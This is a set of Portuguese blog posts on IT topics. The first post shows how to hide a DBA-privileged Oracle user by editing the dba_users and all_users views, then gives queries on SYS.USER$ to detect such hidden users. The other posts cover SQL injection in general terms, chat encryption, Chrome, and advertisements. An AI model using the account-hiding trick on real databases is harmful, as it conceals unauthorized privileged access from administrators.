Está técnica é utilizada por alguns rootkits para esconder usuários, processos, jobs, etc… Existem outras formas de se fazer isso, vou mostrar aqui a mais simples.

No Oracle os usuários são armazenados na tabela SYS.USER$

Pra simplificar nossa vida o Oracle vem com as views dba_users e all_users.

Let’s Rock!

Crie um usuário no banco chamado “testeHack”

SQL> create user testeHack identified by testeHack;
SQL> grant dba to testeHack;
SQL> select username from dba_users;
— Veja que o usuário que você criou vai aparecer na listagem.

Para fazer com que ele não apareça
Adicione nas views dba_users e all_users o seguinte código:

--
AND U.NAME != ‘TESTEHACK’
–

Compile o PL/SQL e execute novamente o seguinte commando:

SQL> select username from dba_users;
–  Observe que o Oracle não listou mais o usuário TESTHACK

Fácil hein?

Para saber se existem usuários escondidos no seu Oracle execute os seguintes comandos:

select name "Invisible User in DBA_USERS" from sys.user$ where type#=1 minus select username from SYS.dba_users;

select name "Invisible User in ALL_USERS" from sys.user$ where type#=1 minus select username from SYS.all_users;

Até a próxima.

ShareThis

Por mais incrível que se possa imaginar SQL Injection ainda é uma da vulnerabilidades mais comuns de se encontrar em WebSite e em sistemas web. Diferente do que muitos pensam, SQL Injection não é uma falha do banco de dados nem do servidor web é uma falha no desenvolvimento da aplicação web. Um ponto que é largamente comentado é que grande maioria dos programadores não estão conscientes ou simplesmente atentos deste problema.

Aplicações Vulneráveis
Grande maioria das base de dados (As “famosas”) e linguagens de programação são potencialmente vulneráveis.

Bancos de Dados Passíveis de ataques:
MS SQL Server
Oracle
MySQL
Postgres
DB2
MS Access
Sybase
Informix

Linguagens de programação passiveis de ataques:
Script em perl e cgi que acessam banco de dados
ASP
ASP.NET
JSP
PHP
XML
XSL
XSQL
Javascript
VB

Sendo mais comum PHP, ASP e ASP.Net

Um atacante utilizando uma vulnerabilidade do tipo SQL Injection é capaz de, executar queries, consultar dados em um banco de dados, inserir novos registros em um banco de dados,  apagar e atualizar dados de um banco de dados.

Até o próximo post (continuação deste) …

ShareThis

A melhor solução para a comunicação falada é o Skype, disponível em:  http://www.skype.com/intl/pt/

Se você prefere utilizar o MSN, programa de mensagens de texto instantâneo da Microsoft, eu recomendo a utilização do “plugin” SIMP, da SecWay, esse software cifra todas as mensagens de texto enviadas, é obrigatório o uso do SIMP em todos os computadores participantes da conversa.

SIMP - http://www.secway.fr/us/products/simplite_msn/home.php

Bem isso é uma forma de minimizar os riscos com grampos ilegais.

Abraços.

ShareThis

Certificação Linux Lpi - Nível 1 Exames 101 e 102 por R$ 89,90

ShareThis

Deixo aqui algumas dicas, acho que nenhum funcionário do Google ler meu blog, mas… Ainda exitem alguns problemas com css, também existe a necessidade de um leitor RSS integrado ao Chrome, sei que dificilmente teremos algo igual ou semelhante ao Firefox quando falamos de addons.

Por enquanto o Chrome se comporta bem e ainda não me mostrou motivo algum para não utiliza-lo. Espero uma nova versão com um agredador RSS.

Quanto à falhas de segurança ainda não foi publicado nada. Estou aguardando a versão pra Linux. Suspeito que a versão pra Mac saia antes da versão pra Linux.

Bem vamos aguardar.

Se quiser fazer a instalação do Chrome na sua máquina faça download no endereço abaixo:

http://www.google.com/chrome/

Até a próxima.

ShareThis

ShareThis

Conheci então o site fature.com.br que é um site onde pessoas ou empresa interessadas em algum serviço cadastra um serviço e aguarda para receber ofertas de pessoas ou até mesmo empresas que estejam dispostas a realizar o serviço. A idéia ainda está no começo, mas tem tudo pra dá certo, já comecei a utilizar, infelizmente a oferta de serviços ainda é pequena mas com certeza em breve o serviço vai ser largamente utilizado, a idéia é bastante semelhante ao getafreelancer.com.

Vamos aguardar… recomendo que faça logo seu cadastro.

Até Breve!

ShareThis

Hoje não adianta mais uma empresa desenvolver um site e colocar na internet e espera acontecer milagres para conquistar clientes, utilizando técnicas avançadas de publicidade on-line, pode gerar visitas para seu site, aumente seu cadastro de clientes, divulgar produtos e conseqüentemente aumentar o ROI do site de sua empresa.

Também vou oferecer serviço de monetização de sites e blogs, se você tem um site ou um blog em um nicho de mercado especifico, entre em contato para que eu faça um projeto de monetização do seu site, gerando receita para você.

Se você tiver interesse entre em contato e solicite uma apresentação, reunião conversa informal.

Maiores informações podem ser encontradas no site http://focusmidia.espinhara.net

Aguardo seu Contato.

Abraços.

ShareThis

ShareThis

Java - Estrutura de Dados

Java Para desenvolvimento Web

Web 2.0 com VRaptor, Hibernate e Ajax

Referência: http://www.caelum.com.br

ShareThis